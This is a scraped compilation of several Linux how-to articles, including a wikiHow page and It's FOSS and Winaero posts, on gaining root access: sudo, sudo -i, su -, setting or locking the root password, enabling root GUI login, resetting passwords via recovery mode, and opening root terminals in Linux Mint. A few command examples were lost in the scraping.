commands	to	be	executed	as	a	regular	non-privileged	userHow	to	Switch	to	Root	User	on	LinuxHere	are	a	few	different	methods	to	switch	to	the	root	user	on	Linux.	Depending	on	your	Linux	distribution	and	the	way	your	user	is	configured	(i.e.,	whether	they	have	sudo	access	or	not),	you	may	find	that	one	method	works	better	than	another,	so	try
them	all.The	majority	of	Linux	distributions	come	with	the	sudo	convention	configured	by	default	for	the	user	that	is	set	up	during	installation.	If	your	user	has	access	to	the	sudo	command,	then	you	can	switch	to	the	root	account	by	appending	the	-i	option,	like	so:$	sudo	-iLogging	into	the	root	user	account	by	using	the	sudo	command	in	LinuxAfter
providing	your	sudo	password,	you	will	be	logged	into	the	root	account	and	no	longer	required	to	continue	prefacing	your	commands	with	sudo	in	order	to	run	them	with	root	privileges.Alternatively,	there	is	no	reason	to	log	into	the	root	user	account	if	you	have	access	to	the	sudo	command	and	simply	want	to	run	a	few	commands	as	the	root	user.
This	is	actually	the	recommended	approach,	as	it	is	more	secure	than	having	users	to	log	into	the	root	account	directly.	For	example,	to	run	a	command	as	root,	preface	it	with	sudo:	$	sudo	whoamirootAlthough	we	are	running	this	command	as	an	ordinary	user,	the	whoami	command	shows	us	the	effective	user	that	is	running	the	command,	which	is
root.	If	your	user	does	not	have	sudo	permissions,	you	should	be	able	to	log	in	to	the	root	user	account	via	the	su	command.	In	this	case,	you	will	need	to	know	the	password	of	the	root	user.	The	majority	of	times,	you	will	want	to	append	the	-	option,	in	order	to	update	your	local	environment	variables.$	su	-WARNINGThe	above	command	will	only
work	if	the	root	account	has	a	password	configured.	On	some	systems,	the	root	account	does	not	have	a	password	by	default,	and	instead	is	expected	to	be	accessed	strictly	via	sudo	as	shown	in	the	above	methods.	If	your	root	account	does	not	have	a	password	and	you	need	to	set	one,	you	can	execute	the	following	command.	Note	that	this	is	going
against	security	recommendations.$	sudo	passwdAfter	setting	the	root	password,	you	will	be	able	to	log	in	with	the	su	command.Another	option	is	to	open	a	new	terminal	as	the	root	user.	The	command	for	this	will	vary	depending	on	your	installed	desktop	environment,	but	if	you	want	to	open	a	brand	new	terminal	as	the	root	user	on	the	GNOME
desktop	environment,	you	can	execute	the	following	command.$	sudo	gnome-terminalThis	same	method	can	also	be	used	to	launch	other	GUI	applications	as	the	root	account,	although	many	of	them	will	not	like	being	accessed	by	root,	and	may	produce	an	error.Closing	ThoughtsIn	this	tutorial,	we	saw	how	to	switch	to	the	root	user	account	on	a
Linux	system.	The	recommended	approach	is	to	use	the	sudo	command	in	order	to	execute	commands	with	root	privileges,	but	we	can	also	log	directly	into	the	root	user	account,	either	with	the	sudo	-i	or	su	-	commands,	depending	on	how	our	system	and	user	account	has	been	configured.	Linux	Mint	is	a	spin-off	distribution	of	Ubuntu	Linux,	and	as
such	shares	many	characteristics	of	its	more	prominent	cousin.	One	such	trait	shared	by	the	two	Linux	versions	is	the	disabling	of	the	root	account	by	default.	Rather	than	enabling	the	root	access	and	possibly	leaving	the	system	open	for	attack	by	hackers,	the	Mint	Linux	developers	disabled	the	account.	Nevertheless,	if	you	do	want	to	enable	the	root
account	in	Mint,	you	can	do	so	by	setting	a	password	for	it.	Open	a	terminal	by	clicking	the	"Menu"	button	at	the	lower	left	corner	of	the	Linux	Mint	desktop	and	selecting	the	"Terminal"	application	shortcut	in	the	menu.	Type	"sudo	passwd	root"	into	the	terminal	and	press	"Enter."	Type	your	current	account's	password	at	the	password	prompt	and
press	"Enter"	to	authenticate	with	the	sudo	command.	Set	a	password	for	the	root	account	by	typing	it	at	the	prompt,	pressing	"Enter,"	retyping	it	to	confirm	and	pressing	"Enter."	Type	"su"	at	the	terminal	and	press	"Enter"	to	become	the	root	user.	You	can	also	log	in	as	root	by	specifying	"root"	at	a	login	prompt.	Download	Article	Switch	to	root	or
unlock	the	root	account	with	this	complete	guide	Download	Article	The	"root"	user	account	on	Linux	has	full	administrative	privileges	over	the	entire	system.	If	you	want	to	edit	system	configuration	files,	install	system-wide	software,	add	users,	or	virtually	anything	else	outside	of	your	home	directory,	you'll	need	root	access.	For	most	tasks,	you	won't
need	to	log	or	switch	to	the	root	user	accountyou	can	run	administrative	tasks	with	the	sudo	command	to	prevent	you	from	doing	damage	while	logged	in	with	full	superuser	permissions.	If	you're	using	Ubuntu,	the	root	account	is	locked	by	default	to	prevent	this	from	happening.	If	you	need	to	keep	root	access	while	doing	a	large	number	of	system
tasks,	it's	still	possible	to	become	root.	Read	on	to	learn	all	the	ways	to	gain	root	access	in	Linux.	Many	Linux	distros	disable	the	root	user	by	default	for	security	reasons.	You	can	still	run	commands	as	root	by	prefacing	them	with	"sudo".	You	can	also	start	a	root	shell	using	"sudo	-i."	To	log	in	as	root	or	switch	to	the	root	user	in	a	terminal,	set	a
password	for	the	root	user,	then	use	"su	-"	to	become	root.1Open	the	terminal.	Ubuntu	and	several	other	distributions	lock	the	root	account	automatically	to	prevent	you	from	using	commands	that	can	damage	your	system.	You	can	unlock	the	root	account	in	the	terminal.	If	you're	in	the	desktop	environment,	you	can	press	Ctrl	+	Alt	+	T	to	start	the
terminal.[1]The	root	account	is	locked	in	many	Linux	distributions	to	discourage	you	from	logging	in	as	the	root	user.	In	most	cases,	you	should	never	need	to	log	in	as	root	because	you	can	run	elevated	commands	using	{{kbd|sudo]}.	To	learn	how	to	use	it,	jump	to	Using	Sudo.	2Type	sudo	passwd	root	and	press	Enter.	When	prompted	for	a
password,	enter	your	user	password.[2]	Advertisement	3Set	a	root	user	password.	You'll	be	prompted	to	create	a	password	for	the	root	account	and	enter	it	twice.	Once	a	password	has	been	set,	the	root	account	will	be	active.[3]	4Lock	the	root	account	again	(optional).	If	you	want	to	lock	the	root	account,	enter	the	following	command	to	remove	the
password	and	lock	root:	Advertisement	1Preface	a	command	with	sudo	to	run	it	as	root.	Sudo,	which	stands	for	"superuser	do,"	is	the	best	way	to	run	commands	as	root	in	Linux.	When	you	use	sudo,	you	have	root	access	for	long	enough	to	run	the	command,	which,	in	most	cases,	is	all	you'll	ever	need.	Instead	of	entering	the	root	password,	you'll
enter	your	own	password.	For	example,	type	sudo	vim	/etc/apache2/apache2.conf	to	open	the	file	apache2.conf	as	the	root	user,	which	allows	you	to	make	changes	to	the	file	even	if	your	user	account	doesn't	have	write	access	to	the	file.sudo	is	the	preferred	method	for	distributions	like	Ubuntu,	where	it	will	work	even	when	the	root	account	is
locked.You	can	only	use	sudo	if	your	user	account	is	in	the	/etc/sudoers	configuration	file.[4]2Use	sudo	-i	to	start	a	root	shell.	If	you	want	to	run	many	commands	as	root	without	having	to	type	your	password	multiple	times,	you	can	use	this	command	to	access	a	root	shell	that	doesn't	require	enabling	the	root	user,	even	in	Ubuntu.[5]3Use	sudo	-s	to
start	a	root	shell	using	your	environment.	If	you	want	to	run	a	series	of	root	commands	without	typing	sudo	before	each,	you	can	use	this	command	to	open	an	interactive	root	shell.	The	difference	between	the	-s	and	-i	options	is	that	-s	loads	your	own	.bashrc	file	and	keeps	your	current	directory,	whereas	sudo	-i	simulates	an	actual	root	login.
Advertisement	1Type	su	-	and	press	Enter.	This	will	attempt	to	log	you	in	as	root.	You	can	actually	use	the	su	command	to	log	in	as	any	user	on	the	machine,	but	when	you	don't	specify	a	username,	it	will	attempt	to	log	in	as	root.2Type	the	root	password	and	press	Enter.	You	now	have	a	root	shell.If	you	get	an	"authentication	error"	message,	your	root
account	is	likely	locked.	You	will	need	to	unlock	the	root	account.3Run	commands	as	root.	When	you	are	logged	in	as	root,	the	prompt	will	end	with	#	instead	of	$	if	you're	using	bash,	korn,	or	bourne	shell,	or	%	if	you're	using	csh,	tcsh,	or	zsh.Once	you	are	logged	in	as	root,	you	can	enter	commands	without	having	to	re-enter	the	root	password.
Advertisement	1In	a	terminal,	type	sudo	nano	/etc/gdm3/custom.conf	and	press	Enter.	If	you	want	to	log	in	to	your	Ubuntu	Linux	system	as	root	instead	of	as	your	user	account	on	the	initial	login	screen,	use	this	method	to	enable	root	logins.	When	you	type	this	command,	this	will	open	the	"custom.conf"	file	for	editing.[6]When	prompted,	enter	your
user	password	to	continue.2Add	AllowRoot=True	to	the	file.	Go	to	the	bottom	of	the	file.	Add	"AllowRoot=True"	below	"TimedLoginDelay	=	10."[7]	Add	a	few	spaces	so	that	the	"A"	in	"AllowRoot"	goes	right	below	the	"T"	in	"TimedLoginDelay".3Press	Ctrl+X.	This	displays	a	prompt	that	asks	if	you	want	to	save	the	file.4Press	Y	followed	by	Enter.	This
saves	the	"Custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.5Type	sudo	nano	/etc/pam.d/gdm-password	and	press	Enter.	This	is	the	command	to	edit	the	password	authentication	manager	file.[8]Enter	your	user	password	when	prompted.6Comment	out	the	line	"auth	required	pam_succeed_If."	To	do	this,	type	a	hash	symbol	(#)
before	the	line:	#	auth	required	pam_succeed_If.	7Press	Ctrl+X	and	then	keypress+Y	to	confirm.	This	saves	the	"custom.conf"	file.	You	should	return	to	the	normal	Terminal	prompt.[9]	8Log	in	as	root	on	the	login	screen.	When	signing	in	to	Ubuntu	at	the	login	screen,	select	Not	Listed	from	the	menu	and	type	root	as	the	username.	You'll	then	use	the
root	password	you	set	earlier	to	log	in	as	root.	If	you	want	to	remove	the	ability	to	log	in	to	Ubuntu	as	root,	delete	the	line	you	added	to	/etc/gdm3/custom.conf	and	uncomment	the	line	you	commented	in	etc/pam.d/gdm-password.	Advertisement	1Reset	the	root	password	if	it	has	been	forgotten.	If	you've	forgotten	the	root	password	and	your	user
password,	you'll	need	to	boot	into	recovery	mode	in	order	to	change	them.	If	you	know	your	user	password	and	need	to	change	the	root	password,	just	type	sudo	passwd	root,	enter	your	user	password,	then	create	a	new	root	password.2Reboot	your	computer	and	hold	left-	Shift	after	the	BIOS	screen.	This	will	open	the	GRUB	menu.The	timing	on	this
can	be	tricky,	so	you	may	have	to	try	multiple	times.3Select	the	first	(recovery	mode)	entry	on	the	list.	This	will	load	recovery	mode	for	your	current	distribution.4Select	the	root	option	from	the	menu	that	appears.	This	will	start	the	terminal	with	you	logged	in	as	the	root	account.5Remount	the	drive	with	write	permissions.	When	you	boot	into
recovery	mode,	you	will	typically	only	have	read	permissions.	Enter	the	following	command	to	enable	write	access:[10]	6Create	a	new	password	for	any	accounts	you're	locked	out	of.	Once	you're	logged	in	as	root	and	have	changed	the	access	permissions,	you	can	create	a	new	password	for	any	account:[11]Type	passwd	accountName	and	press	Enter.
If	you	need	to	change	the	root	password,	type	passwd	root.Enter	the	new	password	twice	when	prompted.7Reboot	your	computer	after	resetting	passwords.	Once	you're	finished	resetting	passwords,	you	can	reboot	and	use	your	computer	as	normal.	Your	new	passwords	will	take	effect	immediately.[12]	Advertisement	Add	New	Question	Question
How	can	I	make	a	user	a	superuser?	Type	in	"sudo	usermod	-aG	sudo	"	replacing	the	username	of	the	user	you	want	to	grant	superuser	access.	Question	How	do	we	log	in	as	a	root	in	Method	3?	I	have	my	admin	account	and	my	guest	account.	Do	I	have	to	log	as	a	root	in	terminal	first?	Yes.	The	root	account	must	be	unlocked	first	if	you're	using
Ubuntu.	Follow	the	instructions	in	method	two.	If	you're	not	using	Ubuntu,	check	your	distribution's	documentation.	Question	What	is	the	tilde	used	for?	It	designates	a	home	folder	(typically	aliased	to	the	current	user's	home	folder).	See	more	answers	Ask	a	Question	Advertisement	The	advice	in	this	section	is	based	on	the	lived	experiences	of
wikiHow	readers	like	you.	If	you	have	a	helpful	tip	youd	like	to	share	on	wikiHow,	please	submit	it	in	the	field	below.	Make	sure	to	lock	the	root	account	every	time	you've	committed	the	changes	you	need.	Thanks	Thanks	Thanks	Advertisement	Written	by:	wikiHow	Technology	Writer	This	article	was	co-authored	by	wikiHow	staff	writer,	Nicole	Levine,
MFA.	Nicole	Levine	is	a	Technology	Writer	and	Editor	for	wikiHow.	She	has	more	than	20	years	of	experience	creating	technical	documentation	and	leading	support	teams	at	major	web	hosting	and	software	companies.	Nicole	also	holds	an	MFA	in	Creative	Writing	from	Portland	State	University	and	teaches	composition,	fiction-writing,	and	zine-
making	at	various	institutions.	This	article	has	been	viewed	1,605,405	times.	Co-authors:	17	Updated:	July	12,	2025	Views:1,605,405	Categories:	Linux	PrintSend	fan	mail	to	authors	Thanks	to	all	authors	for	creating	a	page	that	has	been	read	1,605,405	times.	How	do	you	become	a	root	user	in	Ubuntu?	Either	you	run	commands	with	root	privilege
like	this:sudo	any_commandOr	you	switch	user	in	Ubuntu	to	root	user	like	this:sudo	suIn	both	cases,	youll	have	to	enter	your	own	user	accounts	password.	But	theres	more	to	root	account	in	Ubuntu	that	you	should	know.When	you	have	just	started	using	Linux,	youll	find	many	things	that	are	different	from	Windows.	One	of	those	different	things	is	the
concept	of	the	root	user.In	this	beginner	series,	Ill	explain	a	few	important	things	about	the	root	user	in	Ubuntu.Please	keep	in	mind	that	while	I	am	writing	this	from	Ubuntu	users	perspective,	it	should	be	valid	for	most	Linux	distributions.Youll	learn	the	following	in	this	article:Why	root	user	is	disabled	in	UbuntuUsing	commands	as	rootSwitch	to
root	userUnlock	the	root	userWhat	is	root	user?	Why	is	it	locked	in	Ubuntu?In	Linux,	there	is	always	a	super	user	called	root.	This	is	the	super	admin	account	that	can	do	anything	and	everything	with	the	system.	It	can	access	any	file	and	run	any	command	on	your	Linux	system.With	great	power	comes	great	responsibility.	Root	user	gives	you
complete	power	over	the	system	and	hence	it	should	be	used	with	great	caution.	Root	user	can	access	system	files	and	run	commands	to	make	changes	to	the	system	configuration.	And	hence,	an	incorrect	command	may	destroy	the	system.This	is	why	Ubuntu	and	other	Ubuntu-based	distributions	lock	the	root	user	by	default	to	save	you	from
accidental	disasters.You	dont	need	to	have	root	privilege	for	your	daily	tasks	like	moving	file	in	your	home	directory,	downloading	files	from	internet,	creating	documents	etc.Take	this	analogy	for	understanding	it	better.	If	you	have	to	cut	a	fruit,	you	use	a	kitchen	knife.	If	you	have	to	cut	down	a	tree,	you	have	to	use	a	saw.	Now,	you	may	use	the	saw
to	cut	fruits	but	thats	not	wise,	is	it?Does	this	mean	that	you	cannot	be	root	in	Ubuntu	or	use	the	system	with	root	privileges?	No,	you	can	still	have	root	access	with	the	help	of	sudo	(explained	in	the	next	section).Bottom	line:	Root	user	is	too	powerful	to	be	used	for	regular	tasks.	This	is	why	it	is	not	recommended	to	use	root	all	the	time.	You	can	still
run	specific	commands	with	root.How	to	run	commands	as	root	user	in	Ubuntu?Image	Credit:	xkcdYoull	need	root	privileges	for	some	system	specific	tasks.	For	example,	if	you	want	to	update	Ubuntu	via	command	line,	you	cannot	run	the	command	as	a	regular	user.	It	will	give	you	permission	denied	error	or	show	are	you	root	error.apt
updateReading	package	lists...	DoneE:	Could	not	open	lock	file	/var/lib/apt/lists/lock	-	open	(13:	Permission	denied)E:	Unable	to	lock	directory	/var/lib/apt/lists/W:	Problem	unlinking	the	file	/var/cache/apt/pkgcache.bin	-	RemoveCaches	(13:	Permission	denied)W:	Problem	unlinking	the	file	/var/cache/apt/srcpkgcache.bin	-	RemoveCaches	(13:	Permission
denied)So,	how	do	you	run	commands	as	root?	The	simple	answer	is	to	add	sudo	before	the	commands	that	require	to	be	run	as	root.sudo	apt	updateUbuntu	and	many	other	Linux	distributions	use	a	special	mechanism	called	sudo.	Sudo	is	a	program	that	controls	access	to	running	commands	as	root	(or	other	users).Sudo	is	actually	quite	a	versatile
tool.	It	can	be	configured	to	allow	a	user	to	run	all	commands	as	root.	You	may	configure	it	run	only	a	selected	few	commands	as	root.	You	can	also	configure	to	run	sudo	without	password.	Its	an	extensive	topic	and	maybe	Ill	discuss	it	in	details	in	another	article.For	the	moment,	you	should	know	that	when	you	install	Ubuntu,	you	are	forced	to	create
a	user	account.	This	user	account	works	as	the	admin	on	your	system	and	as	per	the	default	sudo	policy	in	Ubuntu,	it	can	run	any	command	on	your	system	with	root	privileges.The	thing	with	sudo	is	that	running	sudo	doesnt	require	root	password	but	the	users	own	password.And	this	is	why	when	you	run	a	command	with	sudo,	it	asks	for	the
password	of	the	user	who	is	running	the	sudo	command:abhishek@nuc:~$	sudo	apt	update[sudo]	password	for	abhishek:	As	you	can	see	in	the	example	above,	user	abhishek	was	trying	to	run	the	apt	update	command	with	sudo	and	the	system	asked	the	password	for	abhishek.If	you	are	absolutely	new	to	Linux,	you	might	be	surprised	that	when	you
start	typing	your	password	in	the	terminal,	nothing	happens	on	the	screen.	This	is	perfectly	normal	because	as	the	default	security	feature,	nothing	is	displayed	on	the	screen.	Not	even	the	asterisks	(*).	You	type	your	password	and	press	enter.Bottom	line:	To	run	commands	as	root	in	Ubuntu,	add	sudo	before	the	command.	When	asked	for	password,
enter	your	accounts	password.	When	you	type	the	password	on	the	screen,	nothing	is	visible.	Just	keep	on	typing	the	password	and	press	enter.How	to	become	root	user	in	Ubuntu?You	can	use	sudo	to	run	the	commands	as	root.	However,	in	situations,	where	you	have	to	run	several	commands	as	root	and	you	keep	forgetting	to	add	sudo	before	the
commands,	you	may	switch	to	root	user	temporarily.The	sudo	command	allows	you	to	simulate	a	root	login	shell	with	this	command:sudo	-iabhishek@nuc:~$	sudo	-i[sudo]	password	for	abhishek:	root@nuc:~#	whoamirootroot@nuc:~#	Youll	notice	that	when	you	switch	to	root,	the	shell	command	prompt	changes	from	$	(dollar	key	sign)	to	#	(pound
key	sign).	This	makes	me	crack	a	(lame)	joke	that	pound	is	stronger	than	dollar.Though	I	have	shown	you	how	to	become	the	root	user,	I	must	warn	you	that	you	should	avoid	using	the	system	as	root.	Its	discouraged	for	a	reason	after	all.You	can	use	su	command	to	switch	users	in	Ubuntu.	You	can	use	it	with	sudo	to	temporarly	switch	to	root
user:sudo	suIf	you	try	to	use	the	su	command	without	sudo,	youll	encounter	su	authentication	failure	error.You	can	go	back	to	being	the	normal	user	by	using	the	exit	command.exitHow	to	enable	root	user	in	Ubuntu?By	now,	you	know	that	the	root	user	is	locked	by	default	in	Ubuntu-based	distributions.Linux	gives	you	the	freedom	to	do	whatever	you
want	with	your	system.	Unlocking	the	root	user	is	one	of	those	freedoms.If,	for	some	reason,	you	decide	to	enable	the	root	user,	you	can	do	so	by	setting	up	a	password	for	it:sudo	passwd	rootAgain,	this	is	not	recommended	and	I	wont	encourage	you	to	do	that	on	your	desktop.	If	you	forget	it,	you	wont	be	able	to	change	the	root	password	in	Ubuntu
again.You	can	lock	the	root	user	again	by	removing	the	password:sudo	passwd	-dl	rootHow	to	Reset	Forgotten	Ubuntu	Password	in	2	MinutesIf	you	forgot	your	user	password	on	Ubuntu,	dont	worry.	You	can	reset	an	Ubuntu	password	very	easily.	This	guide	explains	an	easy	method	for	changing	the	root	password	on	Ubuntu.	The	method	should	also
be	applicable	to	other	Linux	distributions.In	the	endI	hope	you	have	a	slightly	better	understanding	of	the	root	concept	now.	If	you	still	have	some	confusion	and	questions	about	it,	please	let	me	know	in	the	comments.	Ill	try	to	answer	your	questions	and	might	update	the	article	as	well.	It's	FOSS	turns	13!	13	years	of	helping	people	use	Linux	And	we
need	your	help	to	go	on	for	13	more	years.	Support	us	with	a	Plus	membership	and	enjoy	an	ad-free	reading	experience	and	get	a	Linux	eBook	for	free.To	celebrate	13	years	of	It's	FOSS,	we	have	a	lifetime	membership	option	with	reduced	pricing	of	just	$76.	This	is	valid	until	25th	June	only.If	you	ever	wanted	to	appreciate	our	work	with	Plus
membership	but	didn't	like	the	recurring	subscription,	this	is	your	chance	Get	Lifetime	Membership	of	It's	FOSS	For	various	administrative	tasks,	you	need	to	open	the	root	terminal	in	Linux	Mint.	It	can	be	used	to	change	global	operating	system	settings,	edit	configuration	files,	install	or	remove	apps	from	console	or	change	permissions	of	files.
Today,	we	will	see	how	it	can	be	done.	Some	Linux	distros	come	a	dedicated	launcher	to	open	the	root	terminal.	Linux	Mint	does	not	ship	the	special	launcher.	But	it	is	not	actually	required.	You	can	turn	any	opened	terminal	into	the	root	terminal	instance	with	a	single	command.	Here	is	how.To	open	the	root	terminal	in	Linux	Mint,	do	the
following.Open	your	terminal	app.Type	the	following	command:sudo	suEnter	your	password	when	prompted.From	now,	the	current	instance	will	be	the	root	terminal.There	is	alternative	way	to	open	the	root	terminal.	Linux	Mint	comes	with	a	graphical	'sudo'	command	gksudo.	It	included	in	all	editions	of	the	operating	system.	To	open	the	root
terminal	using	gksudo,	do	the	following.Press	Alt	+	F2.	This	will	open	a	special	dialog	where	you	can	type	a	command	to	execute.In	Cinnamon,	type	the	following	command	in	the	text	box:gksudo	gnome-terminalIn	Mate,	type	the	commandgksudo	mate-terminalIn	XFCE4,	type	the	commandgksudo	xfce4-terminal	Finally,	if	you	are	running	Linux	Mint
KDE	edition,	type:gksudo	konsoleEnter	your	password	when	prompted.This	will	open	the	root	terminal	in	your	desktop	environment	in	Linux	Mint.Root	terminal	in	CinnamonRoot	terminal	in	KDERoot	terminal	in	MATERoot	terminal	in	XFCE4You	are	done.	Support	usWinaero	greatly	relies	on	your	support.	You	can	help	the	site	keep	bringing	you
interesting	and	useful	content	and	software	by	using	these	options:If	you	like	this	article,	please	share	it	using	the	buttons	below.	It	won't	take	a	lot	from	you,	but	it	will	help	us	grow.	Thanks	for	your	support!	
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